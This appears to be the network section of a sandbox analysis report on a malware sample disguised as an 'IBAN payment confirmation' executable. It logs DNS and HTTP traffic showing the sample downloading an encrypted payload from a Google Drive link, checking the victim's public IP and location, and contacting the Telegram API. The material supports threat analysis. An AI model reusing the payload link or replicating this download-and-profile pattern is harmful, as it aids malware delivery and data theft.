Dec 3, 2024 15:20:51.526201010 CET	49935	443	192.168.2.7	149.154.167.220
Dec 3, 2024 15:20:51.529107094 CET	49931	80	192.168.2.7	132.226.247.73
Dec 3, 2024 15:20:51.529587984 CET	49946	80	192.168.2.7	132.226.247.73
Dec 3, 2024 15:20:51.649926901 CET	80	49946	132.226.247.73	192.168.2.7
Dec 3, 2024 15:20:51.649996996 CET	80	49931	132.226.247.73	192.168.2.7
Dec 3, 2024 15:20:51.650088072 CET	49931	80	192.168.2.7	132.226.247.73
Dec 3, 2024 15:20:51.650093079 CET	49946	80	192.168.2.7	132.226.247.73
Dec 3, 2024 15:20:51.650223970 CET	49946	80	192.168.2.7	132.226.247.73
Dec 3, 2024 15:20:51.770172119 CET	80	49946	132.226.247.73	192.168.2.7
Dec 3, 2024 15:20:53.140886068 CET	80	49946	132.226.247.73	192.168.2.7
Dec 3, 2024 15:20:53.188946962 CET	49946	80	192.168.2.7	132.226.247.73

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Dec 3, 2024 15:20:08.306763887 CET	61665	53	192.168.2.7	1.1.1.1
Dec 3, 2024 15:20:08.444418907 CET	53	61665	1.1.1.1	192.168.2.7
Dec 3, 2024 15:20:11.204166889 CET	52680	53	192.168.2.7	1.1.1.1
Dec 3, 2024 15:20:11.341629982 CET	53	52680	1.1.1.1	192.168.2.7
Dec 3, 2024 15:20:16.794493914 CET	50580	53	192.168.2.7	1.1.1.1
Dec 3, 2024 15:20:16.934154034 CET	53	50580	1.1.1.1	192.168.2.7
Dec 3, 2024 15:20:26.867862940 CET	58498	53	192.168.2.7	1.1.1.1
Dec 3, 2024 15:20:27.015923977 CET	53	58498	1.1.1.1	192.168.2.7
Dec 3, 2024 15:20:34.780443907 CET	58811	53	192.168.2.7	1.1.1.1
Dec 3, 2024 15:20:34.917860031 CET	53	58811	1.1.1.1	192.168.2.7

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Dec 3, 2024 15:20:08.306763887 CET	192.168.2.7	1.1.1.1	0x86ed	Standard query (0)	drive.google.com	A (IP address)	IN (0x0001)	false
Dec 3, 2024 15:20:11.204166889 CET	192.168.2.7	1.1.1.1	0x23dc	Standard query (0)	drive.usercontent.google.com	A (IP address)	IN (0x0001)	false
Dec 3, 2024 15:20:16.794493914 CET	192.168.2.7	1.1.1.1	0xcca	Standard query (0)	checkip.dyndns.org	A (IP address)	IN (0x0001)	false
Dec 3, 2024 15:20:26.867862940 CET	192.168.2.7	1.1.1.1	0xc4f8	Standard query (0)	reallyfreegeoip.org	A (IP address)	IN (0x0001)	false
Dec 3, 2024 15:20:34.780443907 CET	192.168.2.7	1.1.1.1	0x5a21	Standard query (0)	api.telegram.org	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Dec 3, 2024 15:20:08.444418907 CET	1.1.1.1	192.168.2.7	0x86ed	No error (0)	drive.google.com		172.217.19.174	A (IP address)	IN (0x0001)	false
Dec 3, 2024 15:20:11.341629982 CET	1.1.1.1	192.168.2.7	0x23dc	No error (0)	drive.usercontent.google.com		142.250.181.1	A (IP address)	IN (0x0001)	false
Dec 3, 2024 15:20:16.934154034 CET	1.1.1.1	192.168.2.7	0xcca	No error (0)	checkip.dyndns.org	checkip.dyndns.com		CNAME (Canonical name)	IN (0x0001)	false
Dec 3, 2024 15:20:16.934154034 CET	1.1.1.1	192.168.2.7	0xcca	No error (0)	checkip.dyndns.com		132.226.247.73	A (IP address)	IN (0x0001)	false
Dec 3, 2024 15:20:16.934154034 CET	1.1.1.1	192.168.2.7	0xcca	No error (0)	checkip.dyndns.com		193.122.6.168	A (IP address)	IN (0x0001)	false
Dec 3, 2024 15:20:16.934154034 CET	1.1.1.1	192.168.2.7	0xcca	No error (0)	checkip.dyndns.com		193.122.130.0	A (IP address)	IN (0x0001)	false
Dec 3, 2024 15:20:16.934154034 CET	1.1.1.1	192.168.2.7	0xcca	No error (0)	checkip.dyndns.com		132.226.8.169	A (IP address)	IN (0x0001)	false
Dec 3, 2024 15:20:16.934154034 CET	1.1.1.1	192.168.2.7	0xcca	No error (0)	checkip.dyndns.com		158.101.44.242	A (IP address)	IN (0x0001)	false
Dec 3, 2024 15:20:27.015923977 CET	1.1.1.1	192.168.2.7	0xc4f8	No error (0)	reallyfreegeoip.org		104.21.67.152	A (IP address)	IN (0x0001)	false
Dec 3, 2024 15:20:27.015923977 CET	1.1.1.1	192.168.2.7	0xc4f8	No error (0)	reallyfreegeoip.org		172.67.177.134	A (IP address)	IN (0x0001)	false
Dec 3, 2024 15:20:34.917860031 CET	1.1.1.1	192.168.2.7	0x5a21	No error (0)	api.telegram.org		149.154.167.220	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

drive.google.com

drive.usercontent.google.com

reallyfreegeoip.org

api.telegram.org

checkip.dyndns.org

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.7	49862	132.226.247.73	80	3824	C:\Users\user\Desktop\IBAN payment confirmation.exe

Timestamp	Bytes transferred	Direction	Data
Dec 3, 2024 15:20:17.064028025 CET	151	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org Connection: Keep-Alive
Dec 3, 2024 15:20:24.118107080 CET	321	IN	HTTP/1.1 200 OK Date: Tue, 03 Dec 2024 14:20:23 GMT Content-Type: text/html Content-Length: 104 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache X-Request-ID: 1d526d361158763cd3347ce3bbd3bb3a Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 38 2e 34 36 2e 31 32 33 2e 32 32 38 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 8.46.123.228</body></html>
Dec 3, 2024 15:20:24.122697115 CET	127	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org
Dec 3, 2024 15:20:26.556296110 CET	321	IN	HTTP/1.1 200 OK Date: Tue, 03 Dec 2024 14:20:26 GMT Content-Type: text/html Content-Length: 104 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache X-Request-ID: 262c315f1822201dace6daee57d6821d Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 38 2e 34 36 2e 31 32 33 2e 32 32 38 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 8.46.123.228</body></html>
Dec 3, 2024 15:20:34.342398882 CET	127	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org
Dec 3, 2024 15:20:34.775563002 CET	321	IN	HTTP/1.1 200 OK Date: Tue, 03 Dec 2024 14:20:34 GMT Content-Type: text/html Content-Length: 104 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache X-Request-ID: d4e19ba1d9b852bc98c3794ee313112a Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 38 2e 34 36 2e 31 32 33 2e 32 32 38 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 8.46.123.228</body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.7	49909	132.226.247.73	80	3824	C:\Users\user\Desktop\IBAN payment confirmation.exe

Timestamp	Bytes transferred	Direction	Data
Dec 3, 2024 15:20:37.248975992 CET	127	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org
Dec 3, 2024 15:20:38.604399920 CET	321	IN	HTTP/1.1 200 OK Date: Tue, 03 Dec 2024 14:20:38 GMT Content-Type: text/html Content-Length: 104 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache X-Request-ID: fe89259838b3c01fa6bca858ed1688ae Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 38 2e 34 36 2e 31 32 33 2e 32 32 38 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 8.46.123.228</body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.7	49919	132.226.247.73	80	3824	C:\Users\user\Desktop\IBAN payment confirmation.exe

Timestamp	Bytes transferred	Direction	Data
Dec 3, 2024 15:20:40.758305073 CET	127	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org
Dec 3, 2024 15:20:43.170118093 CET	321	IN	HTTP/1.1 200 OK Date: Tue, 03 Dec 2024 14:20:42 GMT Content-Type: text/html Content-Length: 104 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache X-Request-ID: 6bb502e966f7020f28367ae038b8f546 Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 38 2e 34 36 2e 31 32 33 2e 32 32 38 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 8.46.123.228</body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.7	49931	132.226.247.73	80	3824	C:\Users\user\Desktop\IBAN payment confirmation.exe

Timestamp	Bytes transferred	Direction	Data
Dec 3, 2024 15:20:45.431863070 CET	151	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org Connection: Keep-Alive
Dec 3, 2024 15:20:46.783482075 CET	321	IN	HTTP/1.1 200 OK Date: Tue, 03 Dec 2024 14:20:46 GMT Content-Type: text/html Content-Length: 104 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache X-Request-ID: 46062f5dd01c77f50ab2ddd879e4cbec Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 38 2e 34 36 2e 31 32 33 2e 32 32 38 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 8.46.123.228</body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
4	192.168.2.7	49946	132.226.247.73	80

Timestamp	Bytes transferred	Direction	Data
Dec 3, 2024 15:20:51.650223970 CET	151	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org Connection: Keep-Alive
Dec 3, 2024 15:20:53.140886068 CET	321	IN	HTTP/1.1 200 OK Date: Tue, 03 Dec 2024 14:20:52 GMT Content-Type: text/html Content-Length: 104 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache X-Request-ID: 09f2d8fca222a01fac4760a008054636 Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 38 2e 34 36 2e 31 32 33 2e 32 32 38 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 8.46.123.228</body></html>

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.7	49841	172.217.19.174	443	3824	C:\Users\user\Desktop\IBAN payment confirmation.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-03 14:20:10 UTC	216	OUT	GET /uc?export=download&id=1GgMJKZPxz_ZGljJ3SvY2kRtxfuU0niSh HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:131.0) Gecko/20100101 Firefox/131.0 Host: drive.google.com Cache-Control: no-cache
2024-12-03 14:20:11 UTC	1920	IN	HTTP/1.1 303 See Other Content-Type: application/binary Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Tue, 03 Dec 2024 14:20:10 GMT Location: https://drive.usercontent.google.com/download?id=1GgMJKZPxz_ZGljJ3SvY2kRtxfuU0niSh&export=download Strict-Transport-Security: max-age=31536000 Content-Security-Policy: script-src 'nonce-vsQNIkAoAH3M1yCYgJp1mQ' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Security-Policy: script-src 'unsafe-inline' 'unsafe-eval' blob: data: 'self' https://apis.google.com https://ssl.gstatic.com https://www.google.com https://www.googletagmanager.com https://www.gstatic.com https://www.google-analytics.com;report-uri /_/DriveUntrustedContentHttp/cspreport/allowlist Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Content-Security-Policy-Report-Only: script-src 'unsafe-inline' 'unsafe-eval' blob: data: https://translate.google.com/translate_a/element.js https://www.google-analytics.com/analytics.js https://translate.googleapis.com/_/translate_http/_/js/;report-uri /_/DriveUntrustedContentHttp/cspreport/fine-allowlist Cross-Origin-Opener-Policy: same-origin Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Server: ESF Content-Length: 0 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.7	49850	142.250.181.1	443	3824	C:\Users\user\Desktop\IBAN payment confirmation.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-03 14:20:13 UTC	258	OUT	GET /download?id=1GgMJKZPxz_ZGljJ3SvY2kRtxfuU0niSh&export=download HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:131.0) Gecko/20100101 Firefox/131.0 Cache-Control: no-cache Host: drive.usercontent.google.com Connection: Keep-Alive
2024-12-03 14:20:15 UTC	4914	IN	HTTP/1.1 200 OK Content-Type: application/octet-stream Content-Security-Policy: sandbox Content-Security-Policy: default-src 'none' Content-Security-Policy: frame-ancestors 'none' X-Content-Security-Policy: sandbox Cross-Origin-Opener-Policy: same-origin Cross-Origin-Embedder-Policy: require-corp Cross-Origin-Resource-Policy: same-site X-Content-Type-Options: nosniff Content-Disposition: attachment; filename="xzHLEK225.bin" Access-Control-Allow-Origin: * Access-Control-Allow-Credentials: false Access-Control-Allow-Headers: Accept, Accept-Language, Authorization, Cache-Control, Content-Disposition, Content-Encoding, Content-Language, Content-Length, Content-MD5, Content-Range, Content-Type, Date, developer-token, financial-institution-id, X-Goog-Sn-Metadata, X-Goog-Sn-PatientId, GData-Version, google-cloud-resource-prefix, linked-customer-id, login-customer-id, x-goog-request-params, Host, If-Match, If-Modified-Since, If-None-Match, If-Unmodified-Since, Origin, OriginToken, Pragma, Range, request-id, Slug, Transfer-Encoding, hotrod-board-name, hotrod-chrome-cpu-model, hotrod-chrome-processors, Want-Digest, X-Ad-Manager-Impersonation, x-chrome-connected, X-ClientDetails, X-Client-Pctx, X-Client-Version, x-debug-settings-metadata, X-Firebase-Locale, X-Goog-Firebase-Installations-Auth, X-Firebase-Client, X-Firebase-Client-Log-Type, X-Firebase-GMPID, X-Firebase-Auth-Token, X-Firebase-AppCheck, X-Firebase-Token, X-Goog-Drive-Client-Version, X-Goog-Drive-Resource-Keys, X-GData-Client, X-GData-Key, X-GoogA [TRUNCATED] Access-Control-Allow-Methods: GET,HEAD,OPTIONS Accept-Ranges: bytes Content-Length: 94272 Last-Modified: Tue, 03 Dec 2024 00:09:57 GMT X-GUploader-UploadID: AFiumC5TBMeYF6Rp9S8LbpCX4Ym-qNDcKaA3rvXo8lnK38qaa2q2hMd4BB81yps3ZuhzGP2ENNXF_IQ9bQ Date: Tue, 03 Dec 2024 14:20:15 GMT Expires: Tue, 03 Dec 2024 14:20:15 GMT Cache-Control: private, max-age=0 X-Goog-Hash: crc32c=x0iqHg== Server: UploadServer Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close
2024-12-03 14:20:15 UTC	4914	IN	Data Raw: 0f 11 0a 23 8e 31 53 3b 2f 9b d3 b2 70 dc 93 96 77 ff 81 64 95 6c 49 89 b5 a3 58 ab 8f 4b fd 00 24 a9 12 06 6c 02 88 44 0c 81 f4 22 ad 60 d2 e1 96 19 cd 0d 61 ff 36 98 5b 71 03 ba 10 89 5a cd 68 b7 fd 6e 93 f0 82 14 ec 8e 53 a1 5d 15 11 91 e7 53 c3 80 0b 67 bd cc c9 7b 8b f8 a6 c5 7c 01 ba ac 65 e6 d1 a6 28 bb ef 74 62 dc c2 45 63 e1 b6 fa c0 ae 33 ca 05 84 44 ee 79 76 41 c3 ba 2b 36 31 fd 43 42 3a 1b 19 45 35 3d 28 eb fc a1 a5 84 d2 bf a7 cf ed 19 81 00 7f 8e 6d bd 8b ad 14 08 ed 07 8d d5 e4 88 5f 4e d7 c8 07 92 92 35 a6 40 78 60 39 e2 92 62 2d ff 35 94 6b 8c a7 0c 7f b7 9d 1e 09 54 bb 3f 15 45 7c e0 50 15 b6 22 e8 e8 e3 20 90 cd 3f c0 9e 59 4c c7 ad e6 af 02 ff 14 45 2b fb 73 57 04 5e ee 9c 59 7b 11 16 f1 61 d3 cd 00 76 3b bb 9a 93 dc 5d 79 47 66 a7 d0 Data Ascii: #1S;/pwdlIXK$lD"`a6[qZhnS]Sg{\|e(tbEc3DyvA+61CB:E5=(m_N5@x`9b-5kT?E\|P" ?YLE+sW^Y{av;]yGf
2024-12-03 14:20:15 UTC	4872	IN	Data Raw: cf 78 b4 f8 fb fe 5a f9 7f ed 0b 77 78 52 df 3d fe 02 06 9b 86 1f 9c f0 79 b8 1f 65 54 87 d6 f5 d0 d1 a3 4b a1 3d 0c 50 e2 67 cd 5e 86 5d ef 02 cf 24 2f 71 10 d1 39 6f b6 ef 31 86 ef aa 6e b2 13 5c 0a 73 dd 3f 1d 67 c9 f3 bf c2 fe 7a 7a e4 05 dd e0 5e 9f a8 a3 48 b2 ba 44 ec 5e 87 55 e9 8a ed 80 91 14 9b 59 5f 59 9a 46 a7 2c 3f e2 b8 b9 7e cb 3c c5 03 5b c5 91 82 ad b3 6e ba c6 3e 29 14 94 f0 e8 d2 96 1f 5c be 73 c1 eb 95 40 4d f8 02 16 21 2e eb a5 c5 51 c0 26 2f ff cf c9 27 13 ce 2b 4f 7b 87 dc 58 f9 2e c9 45 dd 9d 97 d7 33 de 40 f2 ff d8 ef 07 79 ae ec df 74 94 70 8f 14 6e 00 c3 b5 3d 6a 5a e6 2a 21 14 c4 29 59 f5 27 2c a8 92 9f 2f 51 1b 5e 6b d6 c9 3d 46 79 92 1c 70 a0 5c 06 3e d4 3a 96 c7 73 cb 23 f0 2a dc 8f 6f 38 98 7f c8 b0 8e 0a 3a af 50 4a b4 8c Data Ascii: xZwxR=yeTK=Pg^]$/q9o1n\s?gzz^HD^UY_YF,?~<[n>)\s@M!.Q&/'+O{X.E3@ytpn=jZ!)Y',/Q^k=Fyp\>:s#o8:PJ
2024-12-03 14:20:15 UTC	1320	IN	Data Raw: 0f 32 64 0c b9 00 ec 5b f5 38 5d 56 49 b1 1d 1e 0c a7 dc d5 db fa 76 3a cf 28 e0 bf 19 0f 91 2e 72 3b ef b7 b8 39 11 d7 a4 56 8f 8c 12 7e de 30 c5 1d 62 7a 04 e1 42 10 c3 4d 63 73 84 eb 28 70 3d eb dd ae 85 ef 6b 89 d1 4e be d1 8c fa 55 e0 f5 3b b8 39 9d 57 00 46 09 74 33 d0 51 cb 1b 98 02 87 b3 fb 08 f3 88 6e ad 88 df 84 4d 84 17 17 7d a9 1a 95 36 a0 17 bc fd 93 39 d0 da 5b 08 47 f4 5c 22 d0 41 a6 86 2b 03 7e 47 63 da d7 33 c6 e4 d4 33 ab 37 24 48 28 70 a1 40 25 11 b0 90 51 8f 02 fb fb d4 e4 9d 9e 41 8d c2 fc fa 4b ea b7 22 57 7f e8 1b 03 0c 9d 17 16 15 8e 25 cf e6 78 27 d7 0d 86 34 fc e7 12 9d d4 c8 0e 65 f5 35 a2 f9 45 e0 99 96 74 84 45 cf d0 d5 9d 38 e9 ad d6 29 47 1f be 20 c5 d4 fb f9 0d 0b a9 ef 87 ee 77 59 b7 24 78 32 01 e4 36 ec 61 7a e5 5a 85 03 Data Ascii: 2d[8]VIv:(.r;9V~0bzBMcs(p=kNU;9WFt3QnM}69[G\"A+~Gc337$H(p@%QAK"W%x'4e5EtE8)G wY$x26azZ
2024-12-03 14:20:15 UTC	1390	IN	Data Raw: 4b a0 b4 0b b0 14 e4 58 de cf 8e 76 e4 a0 73 c7 4d c3 d1 3f 98 1d 79 df 8c c3 0f c5 40 cc 5a a4 81 c0 c3 59 36 df 2f 63 5a 17 dc 52 73 21 d8 43 f1 0c 85 d5 11 71 30 f9 f5 bb c2 20 7c 83 7b 6e 46 86 72 7b 2a 25 00 c3 a4 3d f9 5a e6 2a 21 d9 c2 70 5f f2 27 76 d7 9f 9f 2f 57 69 d1 60 ac 2e 15 0e 79 92 16 1f 28 6c 0c 34 9e 47 84 c7 5f cf 50 75 2a af 5c 7c 3f 83 72 bd a8 b1 0a 30 bf 72 33 50 46 18 86 d7 f1 ae b0 61 e9 e8 23 05 4b 47 0a 03 5f 72 bf 21 8b 23 96 21 2d 98 aa a5 15 37 2c ad 33 59 3a 0c 0f d3 3c 92 25 bf 91 91 25 b2 32 59 af bd 41 f6 ca 8e 00 15 70 da e0 72 f5 b0 bc 8a 0f 4c ca 44 42 0b d7 91 d2 e6 f9 da 20 21 8d c7 d8 6a 21 e8 b0 d8 a7 b6 5e 3b 3a c5 8e ed 77 67 d1 9b 53 34 49 78 ab b8 49 54 08 a4 56 96 1e 03 79 55 37 d6 15 50 69 0d c8 e3 10 b8 0b Data Ascii: KXvsM?y@ZY6/cZRs!Cq0 \|{nFr{%=Z!p_'v/Wi`.y(l4G_Pu*\\|?r0r3PFa#KG_r!#!-7,3Y:<%%2YAprLDB !j!^;:wgS4IxITVyU7Pi
2024-12-03 14:20:15 UTC	1390	IN	Data Raw: 5b 6c 58 bf 7b ba 8a af cc dd 89 10 0c 07 70 7a cb 60 38 7e 8a 06 91 9f 0f 8d f9 64 65 05 65 2e a2 91 fd c6 d3 3e 33 df a6 15 23 18 67 c4 3b e3 4f fe 1a a0 ab 3d 71 1a 62 02 f7 a7 fc 2c 5c 26 70 e3 e2 3f 5b 02 0f c8 29 0e 78 bb cd 64 d1 ab 41 5f f5 17 c6 e7 4c 8e 93 9e ba b2 b0 93 dd 4d 93 43 78 aa 3d fe 89 14 65 5c 3e 18 80 51 c4 23 06 7a 94 bf 62 ce da c4 3b 5b d4 83 a8 ae b2 7f a9 d1 97 b6 0e 82 e9 e0 ec b1 1b 22 a0 62 d5 fe fd 5c 52 d8 39 6e be 3a fa b4 54 5f b9 66 ae ee db d2 42 a3 d1 16 b5 15 01 22 59 d8 2f ce 50 e9 1d 8b c4 24 bd 2d c0 06 a9 c7 31 68 b8 f9 ae 58 80 61 9e ad 01 c4 c3 bf 58 eb 45 f7 3e 33 1a ea 9e 5d f2 2d 74 98 8f 9f 25 46 7f be 82 d3 b9 65 12 59 83 00 6d b1 46 06 44 bb b7 84 c7 79 e2 5e 75 3c ae 17 66 3f f9 16 54 25 8e 00 1b bf 40 Data Ascii: [lX{pz`8~dee.>3#g;O=qb,\&p?[)xdA_LMCx=e\>Q#zb;["b\R9n:T_fB"Y/P$-1hXaXE>3]-t%FeYmFDy^u<f?T%@
2024-12-03 14:20:15 UTC	1390	IN	Data Raw: 19 49 7b 13 44 39 7a d3 1d 29 38 3b bb d0 98 ca f0 20 47 66 a4 dc c4 45 be 1a 4e 78 07 b2 58 ea 81 e9 51 ef bc d0 e3 06 f1 fe fa c5 34 19 05 a3 ed 0e cd b5 b5 7d 6e e9 ab 4a a6 c7 e8 91 28 e5 fb ab 19 ba 2c 17 af cc fc 6f 89 e7 f6 13 0c ec 90 fc 20 00 c1 67 3f 3b 22 e3 01 67 3f a3 b1 37 b9 89 bd 67 3f 19 a5 27 14 61 27 17 a1 e2 99 13 58 d3 7d 02 cc 16 ea 39 73 45 5e 7b 89 67 09 b6 63 49 bb 7d db 07 ff d6 d7 96 7f e6 07 7a 58 b6 b6 57 9b 86 06 9b 8c 0e 94 98 96 31 1f 6f 4d 87 ce f0 eb 69 f3 35 df bf 79 41 e8 67 c5 1d fd 4c e7 7d de 5a 3d 70 7f d4 11 e4 bc ef e7 8e bf cf 75 61 28 81 14 ca 51 66 1d 6d c8 3c 66 d9 c0 43 4e f2 0d 59 9a 41 45 a8 97 48 b2 ba 99 fb 4d 80 41 ff a2 0a fe 89 1e 88 59 f3 2f b4 6e e4 3a 17 69 ab b7 74 cc cc ab 11 5f d4 9e 93 b4 b3 6e Data Ascii: I{D9z)8; GfENxXQ4}nJ(,o g?;"g?7g?'a'X}9sE^{gcI}zXW1oMi5yAgL}Z=pua(Qfm<fCNYAEHMAY/n:it_n
2024-12-03 14:20:15 UTC	1390	IN	Data Raw: 10 fc df 45 13 c9 f8 fa c0 a4 39 ca 03 ac bc ee 79 7c ca c4 83 6d 39 2e 47 4b 31 59 12 d4 62 81 34 16 7c c1 f5 bd 82 73 9f d7 bb a4 76 9c b2 12 ae 08 cb 3f d0 7d 6a de 62 d0 e2 97 fd 31 66 af a1 55 be c1 66 f6 42 c2 04 5c ca 92 67 36 dc 47 ea 77 8c d7 63 aa e7 d8 18 1a 1c b2 2d 12 80 da 89 e1 65 d9 f7 e8 e8 e5 33 95 3c 3a ea 0c 52 4d 91 be ee d8 0b d3 57 4b 03 f8 72 57 0e 31 34 18 58 71 7e 33 f0 61 d9 45 95 76 3b bd c9 9a cd 74 6d b9 67 b6 da d2 67 50 e4 4f 61 1a 5d 52 cb 9e d2 fe fe b9 f6 fb 17 8d a5 fa fd e3 08 0c 8b 78 7c 2f a8 a6 08 70 9a 52 61 86 cd c7 13 d2 e5 f1 a9 20 46 5e 8b b9 df 8a 11 5a 88 0a 15 63 b9 83 f4 01 6b 6c 6f 50 43 31 e6 0b 5e 01 d1 53 38 aa f0 ba 46 ca 84 a5 2d 03 8c 2e 17 ae ff 86 16 58 a9 78 21 5c 1d f9 3f 74 b7 71 3d 8b 61 77 44 Data Ascii: E9y\|m9.GK1Yb4\|sv?}jb1fUfB\g6Gwc-e3<:RMWKrW14Xq~3aEv;tmggPOa]Rx\|/pRa F^ZckloPC1^S8F-.Xx!\?tq=awD
